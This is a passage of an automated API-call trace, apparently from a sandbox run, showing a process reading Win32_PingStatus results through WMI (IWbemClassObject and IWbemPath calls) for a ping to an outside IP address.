pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315efc*=0, plFlavor=0x2315f00*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315efc*=11, plFlavor=0x2315f00*=0) returned 0x0 [0156.511] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316134*=0, plFlavor=0x2316138*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316134*=19, plFlavor=0x2316138*=0) returned 0x0 [0156.512] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ProtocolAddress", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23161a4*=0, plFlavor=0x23161a8*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="104.244.42.129", varVal2=0x0), pType=0x23161a4*=8, plFlavor=0x23161a8*=0) returned 0x0 [0156.512] SysStringByteLen (bstr="104.244.42.129") returned 0x1c [0156.512] SysStringByteLen (bstr="104.244.42.129") returned 0x1c [0156.512] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316234*=0, plFlavor=0x2316238*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x2316234*=8, plFlavor=0x2316238*=32) returned 0x0 [0156.512] SysStringByteLen (bstr="") returned 0x0 [0156.512] SysStringByteLen (bstr="") returned 0x0 [0156.512] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="RecordRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316298*=0, plFlavor=0x231629c*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316298*=19, plFlavor=0x231629c*=0) returned 0x0 [0156.512] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ReplyInconsistency", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316394*=0, plFlavor=0x2316398*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316394*=11, plFlavor=0x2316398*=0) returned 0x0 [0156.512] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ReplySize", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316404*=0, plFlavor=0x2316408*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2316404*=19, plFlavor=0x2316408*=0) returned 0x0 [0156.513] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ResolveAddressNames", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316474*=0, plFlavor=0x2316478*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316474*=11, plFlavor=0x2316478*=0) returned 0x0 [0156.513] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ResponseTime", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23164e4*=0, plFlavor=0x23164e8*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), pType=0x23164e4*=19, plFlavor=0x23164e8*=0) returned 0x0 [0156.513] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="ResponseTimeToLive", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316554*=0, plFlavor=0x2316558*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x39, varVal2=0x0), pType=0x2316554*=19, plFlavor=0x2316558*=0) returned 0x0 [0156.513] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="RouteRecord", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23165c4*=0, plFlavor=0x23165c8*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23165c4*=8200, plFlavor=0x23165c8*=32) returned 0x0 [0156.514] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="RouteRecordResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316628*=0, plFlavor=0x231662c*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316628*=8200, plFlavor=0x231662c*=32) returned 0x0 [0156.514] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="SourceRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231668c*=0, plFlavor=0x2316690*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x231668c*=8, plFlavor=0x2316690*=0) returned 0x0 [0156.514] SysStringByteLen (bstr="") returned 0x0 [0156.514] SysStringByteLen (bstr="") returned 0x0 [0156.514] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="SourceRouteType", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23166f0*=0, plFlavor=0x23166f4*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23166f0*=19, plFlavor=0x23166f4*=0) returned 0x0 [0156.514] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="StatusCode", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316760*=0, plFlavor=0x2316764*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316760*=19, plFlavor=0x2316764*=0) returned 0x0 [0156.515] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="Timeout", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316c14*=0, plFlavor=0x2316c18*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x2316c14*=19, plFlavor=0x2316c18*=0) returned 0x0 [0156.515] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="TimeStampRecord", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316c84*=0, plFlavor=0x2316c88*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316c84*=8211, plFlavor=0x2316c88*=32) returned 0x0 [0156.515] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316ce8*=0, plFlavor=0x2316cec*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316ce8*=8200, plFlavor=0x2316cec*=32) returned 0x0 [0156.515] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316d4c*=0, plFlavor=0x2316d50*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316d4c*=8200, plFlavor=0x2316d50*=32) returned 0x0 [0156.515] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="TimestampRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316db0*=0, plFlavor=0x2316db4*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316db0*=19, plFlavor=0x2316db4*=0) returned 0x0 [0156.516] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="TimeToLive", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316e20*=0, plFlavor=0x2316e24*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x2316e20*=19, plFlavor=0x2316e24*=0) returned 0x0 [0156.516] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="TypeofService", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316f9c*=0, plFlavor=0x2316fa0*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2316f9c*=19, plFlavor=0x2316fa0*=0) returned 0x0 [0156.533] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=0, plFlavor=0x5bde8c8*=0 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0156.533] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.533] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.533] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0156.533] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.533] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.533] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0156.533] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.533] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.534] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d4 [0156.534] SetEvent (hEvent=0x3f4) returned 1 [0156.534] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x4d4, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0156.538] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0156.538] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0156.538] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df230) returned 0x0 [0156.538] WbemDefPath:IUnknown:AddRef (This=0x5df230) returned 0x3 [0156.538] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x2 [0156.538] WbemDefPath:IWbemPath:SetText (This=0x5df230, uMode=0x4, pszPath="") returned 0x0 [0156.538] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d8 [0156.538] SetEvent (hEvent=0x3f4) returned 1 [0156.538] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x4d8, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0156.541] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0156.541] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0156.541] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df2a0) returned 0x0 [0156.541] WbemDefPath:IUnknown:AddRef (This=0x5df2a0) returned 0x3 [0156.541] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x2 [0156.541] WbemDefPath:IWbemPath:SetText (This=0x5df2a0, uMode=0x4, pszPath="") returned 0x0 [0156.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df2a0, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0156.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df230, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0156.541] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df2a0, puBuffLength=0x5bde8a0*=0x0, pszName=0x0 | out: puBuffLength=0x5bde8a0*=0x0, pszName=0x0) returned 0x8004103a [0156.542] WbemDefPath:IWbemPath:GetServer (in: This=0x5df2a0, puNameBufLength=0x5bde89c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde89c*=0x0, pName=0x0) returned 0x80041009 [0156.542] WbemDefPath:IWbemPath:SetServer (This=0x5df2a0, Name="Q9IATRKPRH") returned 0x0 [0156.542] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4dc [0156.542] SetEvent (hEvent=0x3f4) returned 1 [0156.542] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x4dc, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0156.545] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0156.545] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0156.545] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df310) returned 0x0 [0156.545] WbemDefPath:IUnknown:AddRef (This=0x5df310) returned 0x3 [0156.545] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x2 [0156.545] WbemDefPath:IWbemPath:SetText (This=0x5df310, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0156.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df2a0, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0156.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df310, puCount=0x5bde848 | out: puCount=0x5bde848*=0x2) returned 0x0 [0156.545] WbemDefPath:IWbemPath:GetText (in: This=0x5df310, lFlags=16, puBuffLength=0x5bde844*=0x0, pszText=0x0 | out: puBuffLength=0x5bde844*=0xb, pszText=0x0) returned 0x0 [0156.546] WbemDefPath:IWbemPath:GetText (in: This=0x5df310, lFlags=16, puBuffLength=0x5bde844*=0xb, pszText="0000000000" | out: puBuffLength=0x5bde844*=0xb, pszText="root\\cimv2") returned 0x0 [0156.546] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5df2a0) returned 0x0 [0156.547] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df310, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0156.547] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df310, uIndex=0x0, puNameBufLength=0x5bde87c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde87c*=0x5, pName=0x0) returned 0x0 [0156.547] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df310, uIndex=0x0, puNameBufLength=0x5bde87c*=0x5, pName="0000" | out: puNameBufLength=0x5bde87c*=0x5, pName="root") returned 0x0 [0156.547] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df2a0, uIndex=0x0, pszName="root") returned 0x0 [0156.547] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df310, uIndex=0x1, puNameBufLength=0x5bde87c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde87c*=0x6, pName=0x0) returned 0x0 [0156.547] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df310, uIndex=0x1, puNameBufLength=0x5bde87c*=0x6, pName="00000" | out: puNameBufLength=0x5bde87c*=0x6, pName="cimv2") returned 0x0 [0156.547] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df2a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0156.547] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df2a0, puBuffLength=0x5bde8a0*=0x0, pszName=0x0 | out: puBuffLength=0x5bde8a0*=0x0, pszName=0x0) returned 0x8004103a [0156.548] WbemDefPath:IWbemPath:SetClassName (This=0x5df2a0, Name="Win32_PingStatus") returned 0x0 [0156.548] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df2a0, puCount=0x5bde8e4 | out: puCount=0x5bde8e4*=0x2) returned 0x0 [0156.548] WbemDefPath:IWbemPath:GetText (in: This=0x5df2a0, lFlags=4, puBuffLength=0x5bde8e0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8e0*=0x29, pszText=0x0) returned 0x0 [0156.548] WbemDefPath:IWbemPath:GetText (in: This=0x5df2a0, lFlags=4, puBuffLength=0x5bde8e0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x5bde8e0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0156.549] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde834*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8b8*=0, plFlavor=0x5bde8b4*=0 | out: pVal=0x5bde834*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x5bde8b8*=8, plFlavor=0x5bde8b4*=64) returned 0x0 [0156.549] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.549] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.549] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde834*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8b8*=8, plFlavor=0x5bde8b4*=64 | out: pVal=0x5bde834*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x5bde8b8*=8, plFlavor=0x5bde8b4*=64) returned 0x0 [0156.549] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.549] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.549] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde834*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8b8*=8, plFlavor=0x5bde8b4*=64 | out: pVal=0x5bde834*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x5bde8b8*=8, plFlavor=0x5bde8b4*=64) returned 0x0 [0156.549] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.549] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.550] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0156.550] SetEvent (hEvent=0x3f4) returned 1 [0156.550] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde790*=0x4e0, lpdwindex=0x5bde5b4 | out: lpdwindex=0x5bde5b4) returned 0x0 [0156.553] CoGetContextToken (in: pToken=0x5bde664 | out: pToken=0x5bde664) returned 0x0 [0156.553] CoGetContextToken (in: pToken=0x5bde5c4 | out: pToken=0x5bde5c4) returned 0x0 [0156.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x5bde694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde690 | out: ppvObject=0x5bde690*=0x5df380) returned 0x0 [0156.553] WbemDefPath:IUnknown:AddRef (This=0x5df380) returned 0x3 [0156.553] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x2 [0156.553] WbemDefPath:IWbemPath:SetText (This=0x5df380, uMode=0x4, pszPath="") returned 0x0 [0156.553] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e4 [0156.553] SetEvent (hEvent=0x3f4) returned 1 [0156.553] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde790*=0x4e4, lpdwindex=0x5bde5b4 | out: lpdwindex=0x5bde5b4) returned 0x0 [0156.556] CoGetContextToken (in: pToken=0x5bde664 | out: pToken=0x5bde664) returned 0x0 [0156.556] CoGetContextToken (in: pToken=0x5bde5c4 | out: pToken=0x5bde5c4) returned 0x0 [0156.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x5bde694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde690 | out: ppvObject=0x5bde690*=0x5df3f0) returned 0x0 [0156.556] WbemDefPath:IUnknown:AddRef (This=0x5df3f0) returned 0x3 [0156.556] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x2 [0156.556] WbemDefPath:IWbemPath:SetText (This=0x5df3f0, uMode=0x4, pszPath="") returned 0x0 [0156.556] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df3f0, puCount=0x5bde834 | out: puCount=0x5bde834*=0x0) returned 0x0 [0156.556] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df380, puCount=0x5bde834 | out: puCount=0x5bde834*=0x0) returned 0x0 [0156.556] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df3f0, puBuffLength=0x5bde88c*=0x0, pszName=0x0 | out: puBuffLength=0x5bde88c*=0x0, pszName=0x0) returned 0x8004103a [0156.556] WbemDefPath:IWbemPath:GetServer (in: This=0x5df3f0, puNameBufLength=0x5bde888*=0x0, pName=0x0 | out: puNameBufLength=0x5bde888*=0x0, pName=0x0) returned 0x80041009 [0156.556] WbemDefPath:IWbemPath:SetServer (This=0x5df3f0, Name="Q9IATRKPRH") returned 0x0 [0156.557] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e8 [0156.557] SetEvent (hEvent=0x3f4) returned 1 [0156.557] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde790*=0x4e8, lpdwindex=0x5bde5b4 | out: lpdwindex=0x5bde5b4) returned 0x0 [0156.559] CoGetContextToken (in: pToken=0x5bde664 | out: pToken=0x5bde664) returned 0x0 [0156.559] CoGetContextToken (in: pToken=0x5bde5c4 | out: pToken=0x5bde5c4) returned 0x0 [0156.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x5bde694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde690 | out: ppvObject=0x5bde690*=0x5df460) returned 0x0 [0156.560] WbemDefPath:IUnknown:AddRef (This=0x5df460) returned 0x3 [0156.560] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x2 [0156.560] WbemDefPath:IWbemPath:SetText (This=0x5df460, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df3f0, puCount=0x5bde834 | out: puCount=0x5bde834*=0x0) returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df460, puCount=0x5bde834 | out: puCount=0x5bde834*=0x2) returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetText (in: This=0x5df460, lFlags=16, puBuffLength=0x5bde830*=0x0, pszText=0x0 | out: puBuffLength=0x5bde830*=0xb, pszText=0x0) returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetText (in: This=0x5df460, lFlags=16, puBuffLength=0x5bde830*=0xb, pszText="0000000000" | out: puBuffLength=0x5bde830*=0xb, pszText="root\\cimv2") returned 0x0 [0156.560] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5df3f0) returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df460, puCount=0x5bde86c | out: puCount=0x5bde86c*=0x2) returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df460, uIndex=0x0, puNameBufLength=0x5bde868*=0x0, pName=0x0 | out: puNameBufLength=0x5bde868*=0x5, pName=0x0) returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df460, uIndex=0x0, puNameBufLength=0x5bde868*=0x5, pName="0000" | out: puNameBufLength=0x5bde868*=0x5, pName="root") returned 0x0 [0156.560] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df3f0, uIndex=0x0, pszName="root") returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df460, uIndex=0x1, puNameBufLength=0x5bde868*=0x0, pName=0x0 | out: 